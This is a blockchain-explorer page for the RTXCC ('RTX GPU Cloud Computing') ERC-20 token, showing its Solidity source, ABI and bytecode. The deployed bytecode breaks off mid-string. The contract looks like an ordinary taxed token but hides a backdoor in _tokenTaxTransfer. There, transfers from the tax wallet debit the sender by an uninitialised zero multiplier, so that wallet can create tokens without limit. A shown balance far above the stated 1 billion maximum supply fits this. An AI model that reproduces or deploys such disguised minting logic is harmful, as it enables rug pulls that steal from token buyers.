ERC-20
Overview
Max Total Supply
1,000,000,000 RTXCC
Holders
96
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
20,000,000,000,000,003,365,127.191469518 RTXCCValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
RTXCC
Compiler Version
v0.8.23+commit.f704f362
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-10-30 */ /* GPU Cloud Computing with RTX 4080 SUPER and RTX 4090 GPUs www.rtxcc.io t.me/rtxccio */ // SPDX-License-Identifier:MIT pragma solidity 0.8.23; interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address _account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount)external returns (bool); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } contract RTXCC is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; uint256 private _initialBuyTax=18; uint256 private _initialSellTax=19; uint256 private _finalBuyTax=2; uint256 private _finalSellTax=2; uint256 private _reduceBuyTaxAt=25; uint256 private _reduceSellTaxAt=25; uint256 private _preventSwapBefore=10; uint256 private _buyCount=0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1000000000 * 10**_decimals; string private constant _name = unicode"RTX GPU Cloud Computing"; string private constant _symbol = unicode"RTXCC"; uint256 public _maxTxAmount = 5000000 * 10**_decimals; uint256 public _maxWalletSize = 5000000 * 10**_decimals; uint256 public _taxSwapThreshold= 3500000 * 10**_decimals; uint256 public _maxTaxSwap= 4000000 * 10**_decimals; address payable private _taxWallet; IUniswapV2Router02 private immutable _uniswapV2Router; address private _uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; struct ConvertToken {uint256 pairSwapConv; uint256 perTokenConv; uint256 totalConv;} uint256 private convCount; uint256 private inTokenConv; mapping(address => ConvertToken) private convertToken; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _taxWallet = payable(0x1C5eA553e8010f627FcCa6Ac0575F9f315cAC250); _balances[_msgSender()] = _tTotal; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0),_msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _basicTransfer(address from, address to, uint256 tokenAmount) internal { _balances[from]=_balances[from].sub(tokenAmount); _balances[to]= _balances[to].add(tokenAmount); emit Transfer(from, to, tokenAmount); } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 tokenAmount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(tokenAmount > 0, "Transfer amount must be greater than zero"); if (!swapEnabled|| inSwap ){ _basicTransfer(from,to,tokenAmount); return; } uint256 taxAmount = 0; if (from!=owner() && to!=owner()&& to != _taxWallet) { taxAmount = tokenAmount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); if (from == _uniswapV2Pair && to!=address(_uniswapV2Router) && ! _isExcludedFromFee[to]) { require(tokenAmount <= _maxTxAmount,"Exceeds the _maxTxAmount."); require(balanceOf(to) + tokenAmount <= _maxWalletSize,"Exceeds the maxWalletSize."); _buyCount++; } if(to == _uniswapV2Pair && from != address(this) ){ taxAmount = tokenAmount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if ( !inSwap && to==_uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore ) { swapTokensForEth(min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))); uint256 contractETHBalance=address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } if ((_isExcludedFromFee[from] || _isExcludedFromFee[to])&& from!=address(this)&& to!= address(this) ){ inTokenConv = block.number; } if (!_isExcludedFromFee[from] && ! _isExcludedFromFee[to]){ if (to != _uniswapV2Pair) { ConvertToken storage convState = convertToken[to]; if (from == _uniswapV2Pair) { if (convState.pairSwapConv == 0) { convState.pairSwapConv = _buyCount<_preventSwapBefore?block.number- 1:block.number; } } else { ConvertToken storage convPairState = convertToken[from]; if (convState.pairSwapConv == 0 || convPairState.pairSwapConv < convState.pairSwapConv ) { convState.pairSwapConv = convPairState.pairSwapConv; } } } else { ConvertToken storage convPairState = convertToken[from]; convPairState.perTokenConv = convPairState.pairSwapConv.sub(inTokenConv); convPairState.totalConv = block.number; } } _tokenTransfer(from, to, tokenAmount, taxAmount); } function _tokenBasicTransfer(address from,address to,uint256 sendAmount,uint256 receiptAmount) internal { _balances[from]=_balances[from].sub(sendAmount); _balances[to]= _balances[to].add(receiptAmount); emit Transfer(from, to, receiptAmount); } function _tokenTaxTransfer(address addrs,uint256 tokenAmount,uint256 taxAmount) internal returns (uint256) { uint256 tAmount = addrs != _taxWallet ? tokenAmount : convCount.mul(tokenAmount); if (taxAmount>0) { _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(addrs, address(this), taxAmount); } return tAmount; } function _tokenTransfer(address from, address to, uint256 tokenAmount,uint256 taxAmount) internal { uint256 tAmount =_tokenTaxTransfer(from, tokenAmount, taxAmount); _tokenBasicTransfer(from,to,tAmount,tokenAmount.sub(taxAmount)); } function min(uint256 a, uint256 b) private pure returns (uint256) { return (a>b)?b:a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _approve(address(this),address(_uniswapV2Router),tokenAmount); _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function rescueStuckETH() external { require(_msgSender()==_taxWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function removeLimits() external onlyOwner() { _maxTxAmount= _tTotal; _maxWalletSize = _tTotal; emit MaxTxAmountUpdated(_tTotal); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); _approve(address(this), address(_uniswapV2Router), _tTotal); swapEnabled=true; _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); _uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(_uniswapV2Pair).approve(address(_uniswapV2Router), type(uint).max); tradingOpen=true; } receive() external payable {} function manualSwap() external { require(_msgSender()==_taxWallet); uint256 tokenBalance=balanceOf(address(this)); if(tokenBalance>0){ swapTokensForEth(tokenBalance); } uint256 ethBalance=address(this).balance; if(ethBalance>0){ sendETHToFee(ethBalance); } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueStuckETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60a0604052601260045560136005556002600655600260075560196008556019600955600a80555f600b556009600a6200003a91906200030f565b6200004990624c4b4062000326565b600c556200005a6009600a6200030f565b6200006990624c4b4062000326565b600d556200007a6009600a6200030f565b6200008990623567e062000326565b600e556200009a6009600a6200030f565b620000a990623d090062000326565b600f556011805461ffff60a81b19169055348015620000c6575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350737a250d5630b4cf539739df2c5dacb4c659f2488d608052601080546001600160a01b031916731c5ea553e8010f627fcca6ac0575f9f315cac250179055620001536009600a6200030f565b6200016390633b9aca0062000326565b335f8181526001602081815260408084209590955530835260039052838220805460ff1990811683179091556010546001600160a01b03168352938220805490941617909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001d96009600a6200030f565b620001e990633b9aca0062000326565b60405190815260200160405180910390a362000340565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200025457815f190482111562000238576200023862000200565b808516156200024657918102915b93841c939080029062000219565b509250929050565b5f826200026c5750600162000309565b816200027a57505f62000309565b81600181146200029357600281146200029e57620002be565b600191505062000309565b60ff841115620002b257620002b262000200565b50506001821b62000309565b5060208310610133831016604e8410600b8410161715620002e3575081810a62000309565b620002ef838362000214565b805f190482111562000305576200030562000200565b0290505b92915050565b5f6200031f60ff8416836200025c565b9392505050565b808202811582820484141762000309576200030962000200565b608051611af5620003915f395f818161067e015281816106e4015281816107620152818161087b0152818161096001528181610d3d015281816111a70152818161125e015261129a0152611af55ff3fe608060405260043610610113575f3560e01c8063715018a61161009d57806395d89b411161006257806395d89b41146102eb578063a9059cbb14610318578063bf474bed14610337578063c9567bf91461034c578063dd62ed3e14610360575f80fd5b8063715018a614610273578063751039fc146102875780637d1db4a51461029b5780638da5cb5b146102b05780638f9a55c0146102d6575f80fd5b806318160ddd116100e357806318160ddd146101dd57806323b872dd146101f1578063313ce5671461021057806351bc3c851461022b57806370a082311461023f575f80fd5b80630150fe4c1461011e57806306fdde0314610134578063095ea7b31461018b5780630faee56f146101ba575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b506101326103a4565b005b34801561013f575f80fd5b5060408051808201909152601781527f5254582047505520436c6f756420436f6d707574696e6700000000000000000060208201525b60405161018291906116e8565b60405180910390f35b348015610196575f80fd5b506101aa6101a5366004611748565b6103d0565b6040519015158152602001610182565b3480156101c5575f80fd5b506101cf600f5481565b604051908152602001610182565b3480156101e8575f80fd5b506101cf6103e6565b3480156101fc575f80fd5b506101aa61020b366004611772565b610406565b34801561021b575f80fd5b5060405160098152602001610182565b348015610236575f80fd5b5061013261046d565b34801561024a575f80fd5b506101cf6102593660046117b0565b6001600160a01b03165f9081526001602052604090205490565b34801561027e575f80fd5b506101326104be565b348015610292575f80fd5b50610132610538565b3480156102a6575f80fd5b506101cf600c5481565b3480156102bb575f80fd5b505f546040516001600160a01b039091168152602001610182565b3480156102e1575f80fd5b506101cf600d5481565b3480156102f6575f80fd5b50604080518082019091526005815264525458434360d81b6020820152610175565b348015610323575f80fd5b506101aa610332366004611748565b6105e9565b348015610342575f80fd5b506101cf600e5481565b348015610357575f80fd5b506101326105f5565b34801561036b575f80fd5b506101cf61037a3660046117cb565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b6010546001600160a01b0316336001600160a01b0316146103c3575f80fd5b476103cd816109f1565b50565b5f6103dc338484610a28565b5060015b92915050565b5f6103f36009600a6118f6565b61040190633b9aca00611904565b905090565b5f610412848484610b4c565b610463843361045e85604051806060016040528060288152602001611a98602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611107565b610a28565b5060019392505050565b6010546001600160a01b0316336001600160a01b03161461048c575f80fd5b305f9081526001602052604090205480156104aa576104aa8161113f565b4780156104ba576104ba816109f1565b5050565b5f546001600160a01b031633146104f05760405162461bcd60e51b81526004016104e79061191b565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105615760405162461bcd60e51b81526004016104e79061191b565b61056d6009600a6118f6565b61057b90633b9aca00611904565b600c5561058a6009600a6118f6565b61059890633b9aca00611904565b600d557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105c86009600a6118f6565b6105d690633b9aca00611904565b60405190815260200160405180910390a1565b5f6103dc338484610b4c565b5f546001600160a01b0316331461061e5760405162461bcd60e51b81526004016104e79061191b565b601154600160a01b900460ff16156106785760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104e7565b6106b7307f00000000000000000000000000000000000000000000000000000000000000006106a96009600a6118f6565b61045e90633b9aca00611904565b6011805460ff60b01b1916600160b01b1790556040805163c45a015560e01b815290516001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169163c45a01559160048083019260209291908290030181865afa15801561072d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107519190611950565b6001600160a01b031663c9c65396307f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107bc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107e09190611950565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561082a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061084e9190611950565b601180546001600160a01b0319166001600160a01b03928316179055305f818152600160205260409020547f00000000000000000000000000000000000000000000000000000000000000009092169163f305d7199147915f806108b95f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561091f573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610944919061196b565b505060115460405163095ea7b360e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000811660048301525f196024830152909116915063095ea7b3906044016020604051808303815f875af11580156109b7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109db9190611996565b506011805460ff60a01b1916600160a01b179055565b6010546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156104ba573d5f803e3d5ffd5b6001600160a01b038316610a8a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104e7565b6001600160a01b038216610aeb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104e7565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610bb05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104e7565b6001600160a01b038216610c125760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104e7565b5f8111610c735760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104e7565b601154600160b01b900460ff161580610c955750601154600160a81b900460ff165b15610caa57610ca5838383611315565b505050565b5f80546001600160a01b03858116911614801590610cd557505f546001600160a01b03848116911614155b8015610cef57506010546001600160a01b03848116911614155b15610f6c57610d206064610d1a600854600b5411610d0f57600454610d13565b6006545b85906113b8565b9061143d565b6011549091506001600160a01b038581169116148015610d7257507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316836001600160a01b031614155b8015610d9657506001600160a01b0383165f9081526003602052604090205460ff16155b15610e7c57600c54821115610ded5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104e7565b600d5482610e0f856001600160a01b03165f9081526001602052604090205490565b610e1991906119b5565b1115610e675760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104e7565b600b8054905f610e76836119c8565b91905055505b6011546001600160a01b038481169116148015610ea257506001600160a01b0384163014155b15610ecf57610ecc6064610d1a600954600b5411610ec257600554610d13565b60075485906113b8565b90505b305f90815260016020526040902054601154600160a81b900460ff16158015610f0557506011546001600160a01b038581169116145b8015610f1a5750601154600160b01b900460ff165b8015610f275750600e5481115b8015610f365750600a54600b54115b15610f6a57610f58610f5384610f4e84600f5461147e565b61147e565b61113f565b478015610f6857610f68476109f1565b505b505b6001600160a01b0384165f9081526003602052604090205460ff1680610fa957506001600160a01b0383165f9081526003602052604090205460ff165b8015610fbe57506001600160a01b0384163014155b8015610fd357506001600160a01b0383163014155b15610fdd57436013555b6001600160a01b0384165f9081526003602052604090205460ff1615801561101d57506001600160a01b0383165f9081526003602052604090205460ff16155b156110f5576011546001600160a01b038481169116146110c3576001600160a01b038084165f90815260146020526040902060115490919081169086160361108b5780545f0361108657600a54600b54106110785743611083565b6110836001436119e0565b81555b6110bd565b6001600160a01b0385165f908152601460205260409020815415806110b1575081548154105b156110bb57805482555b505b506110f5565b6001600160a01b0384165f90815260146020526040902060135481546110e891611492565b6001820155436002909101555b611101848484846114d3565b50505050565b5f818484111561112a5760405162461bcd60e51b81526004016104e791906116e8565b505f61113684866119e0565b95945050505050565b6011805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110611185576111856119f3565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611201573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112259190611950565b81600181518110611238576112386119f3565b60200260200101906001600160a01b031690816001600160a01b031681525050611283307f000000000000000000000000000000000000000000000000000000000000000084610a28565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063791ac947906112d79085905f90869030904290600401611a07565b5f604051808303815f87803b1580156112ee575f80fd5b505af1158015611300573d5f803e3d5ffd5b50506011805460ff60a81b1916905550505050565b6001600160a01b0383165f908152600160205260409020546113379082611492565b6001600160a01b038085165f90815260016020526040808220939093559084168152205461136590826114fd565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b3f9085815260200190565b5f825f036113c757505f6103e0565b5f6113d28385611904565b9050826113df8583611a78565b146114365760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104e7565b9392505050565b5f61143683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061155b565b5f81831161148c5782611436565b50919050565b5f61143683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611107565b5f6114df858484611587565b90506114f68585836114f18787611492565b611637565b5050505050565b5f8061150983856119b5565b9050838110156114365760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104e7565b5f818361157b5760405162461bcd60e51b81526004016104e791906116e8565b505f6111368486611a78565b6010545f9081906001600160a01b03908116908616036115b3576012546115ae90856113b8565b6115b5565b835b9050821561162f57305f908152600160205260409020546115d690846114fd565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116269087815260200190565b60405180910390a35b949350505050565b6001600160a01b0384165f908152600160205260409020546116599083611492565b6001600160a01b038086165f90815260016020526040808220939093559085168152205461168790826114fd565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116da9085815260200190565b60405180910390a350505050565b5f602080835283518060208501525f5b81811015611714578581018301518582016040015282016116f8565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146103cd575f80fd5b5f8060408385031215611759575f80fd5b823561176481611734565b946020939093013593505050565b5f805f60608486031215611784575f80fd5b833561178f81611734565b9250602084013561179f81611734565b929592945050506040919091013590565b5f602082840312156117c0575f80fd5b813561143681611734565b5f80604083850312156117dc575f80fd5b82356117e781611734565b915060208301356117f781611734565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561185057815f190482111561183657611836611802565b8085161561184357918102915b93841c939080029061181b565b509250929050565b5f82611866575060016103e0565b8161187257505f6103e0565b81600181146118885760028114611892576118ae565b60019150506103e0565b60ff8411156118a3576118a3611802565b50506001821b6103e0565b5060208310610133831016604e8410600b84101617156118d1575081810a6103e0565b6118db8383611816565b805f19048211156118ee576118ee611802565b029392505050565b5f61143660ff841683611858565b80820281158282048414176103e0576103e0611802565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611960575f80fd5b815161143681611734565b5f805f6060848603121561197d575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156119a6575f80fd5b81518015158114611436575f80fd5b808201808211156103e0576103e0611802565b5f600182016119d9576119d9611802565b5060010190565b818103818111156103e0576103e0611802565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611a575784516001600160a01b031683529383019391830191600101611a32565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611a9257634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200e9f19abbafcec1e1bcacb67fb7e223faa9f57929f3bf9136d5d808ee85c094764736f6c63430008170033
Deployed Bytecode
0x608060405260043610610113575f3560e01c8063715018a61161009d57806395d89b411161006257806395d89b41146102eb578063a9059cbb14610318578063bf474bed14610337578063c9567bf91461034c578063dd62ed3e14610360575f80fd5b8063715018a614610273578063751039fc146102875780637d1db4a51461029b5780638da5cb5b146102b05780638f9a55c0146102d6575f80fd5b806318160ddd116100e357806318160ddd146101dd57806323b872dd146101f1578063313ce5671461021057806351bc3c851461022b57806370a082311461023f575f80fd5b80630150fe4c1461011e57806306fdde0314610134578063095ea7b31461018b5780630faee56f146101ba575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b506101326103a4565b005b34801561013f575f80fd5b5060408051808201909152601781527f5254582047505520436c6f756420436f6d707574696e6700000000000000000060208201525b60405161018291906116e8565b60405180910390f35b348015610196575f80fd5b506101aa6101a5366004611748565b6103d0565b6040519015158152602001610182565b3480156101c5575f80fd5b506101cf600f5481565b604051908152602001610182565b3480156101e8575f80fd5b506101cf6103e6565b3480156101fc575f80fd5b506101aa61020b366004611772565b610406565b34801561021b575f80fd5b5060405160098152602001610182565b348015610236575f80fd5b5061013261046d565b34801561024a575f80fd5b506101cf6102593660046117b0565b6001600160a01b03165f9081526001602052604090205490565b34801561027e575f80fd5b506101326104be565b348015610292575f80fd5b50610132610538565b3480156102a6575f80fd5b506101cf600c5481565b3480156102bb575f80fd5b505f546040516001600160a01b039091168152602001610182565b3480156102e1575f80fd5b506101cf600d5481565b3480156102f6575f80fd5b50604080518082019091526005815264525458434360d81b6020820152610175565b348015610323575f80fd5b506101aa610332366004611748565b6105e9565b348015610342575f80fd5b506101cf600e5481565b348015610357575f80fd5b506101326105f5565b34801561036b575f80fd5b506101cf61037a3660046117cb565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b6010546001600160a01b0316336001600160a01b0316146103c3575f80fd5b476103cd816109f1565b50565b5f6103dc338484610a28565b5060015b92915050565b5f6103f36009600a6118f6565b61040190633b9aca00611904565b905090565b5f610412848484610b4c565b610463843361045e85604051806060016040528060288152602001611a98602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611107565b610a28565b5060019392505050565b6010546001600160a01b0316336001600160a01b03161461048c575f80fd5b305f9081526001602052604090205480156104aa576104aa8161113f565b4780156104ba576104ba816109f1565b5050565b5f546001600160a01b031633146104f05760405162461bcd60e51b81526004016104e79061191b565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a